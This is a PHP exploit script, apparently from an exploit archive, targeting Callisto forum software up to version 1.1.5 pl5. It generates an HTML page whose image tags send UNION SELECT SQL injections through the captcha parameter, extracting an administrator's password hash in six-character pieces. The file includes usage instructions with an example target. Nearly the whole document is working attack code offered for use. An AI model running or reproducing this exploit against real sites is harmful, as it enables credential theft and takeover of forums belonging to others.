Callisto <= 1.1.5 pl5 SQL Injection / Credentials Disclosure Exploit

====================================================================
Callisto <= 1.1.5 pl5 SQL Injection / Credentials Disclosure Exploit
====================================================================

<?php
################################################################################
# Exploit Title:         Callisto <= 1.1.5 pl5 SQL Injection / Credentials Disclosure Exploit
#
# Software               Callisto 1.1.5 pl5
# Date:                  2010-04-29
# Author:                GLOBUS
# Software Link:         http://www.unisolutions.pl
# Version:               <= 1.1.5 pl5
# category:              SQLi
#
# Greetz:                hds, Neo, pok3, .xXx., j4ck, revel004, Kopaczka
################################################################################

if($argc !== 3)
{
	echo "#-------------------------------------------------------------------------\n";
	echo "# Callisto <= 1.1.5 pl5 SQL Injection / Credentials Disclosure Exploit\n";
	echo "# Author: GLOBUS\n";
	echo "# Greetz: hds, Neo, pok3, .xXx., j4ck, revel004, Kopaczka\n";
	echo "#-------------------------------------------------------------------------\n";
	echo "# php exploit.php [FULL FORUM URL] [ADMIN_ID]\n#\n";
	echo "# php exploit.php http://www.evil.pl/forum/ 1\n#\n";
	echo "#-------------------------------------------------------------------------\n";
	exit;
}

$path = (substr($argv[1], -1) !== '/' ? $argv[1] .'/' : $argv[1]);
$uid = (int) $argv[2];


$fp = fopen(dirname(__FILE__) . '/callisto_exploit.html', 'w');
if(!$fp)
{
	echo "Can't Create File callisto_exploit.html\n";
	exit;
}


$info  = "#-------------------------------------------------------------------------<br />\n";
$info .= "# Callisto <= 1.1.5 pl5 SQL Injection / Credentials Disclosure Exploit<br />\n";
$info .= "# Author: GLOBUS<br />\n";
$info .= "#-------------------------------------------------------------------------<br /><br />\n";
$info .= "Hash = <strong>md5(md5(\$pass).md5(\$pass));</strong><br />Password <strong>test</strong> => Hash <strong>db2d303c20b9468bbe90114d3d1874b3</strong><br />
Part 1: <strong>db2d30</strong></br />\nPart 2: <strong>3c20b9</strong></br />\nPart 3: <strong>468bbe</strong></br />\nPart 4: <strong>90114d</strong></br />\nPart 5: <strong>3d1874</strong></br />\nPart 6: <strong>b3</strong></br /></br /><h2>I => 1</h2></br /></br />\n";

fwrite($fp, $info);

$substr = array(1, 7, 13, 19, 25, 31);

$c = 1;
foreach($substr as $int)
{
	$save = "Part {$c}: <img src=\"{$path}index.php?act=captcha&code=1+AND+1=2+UNION+SELECT+SUBSTRING(user_password,{$int},6)+FROM+users+WHERE+user_id={$uid}\" /><br />\n";
	fwrite($fp, $save);
	$c++;
}

fclose($fp);

echo "Done, run callisto_exploit.html";


?>



#  0day.today [2018-03-17]  #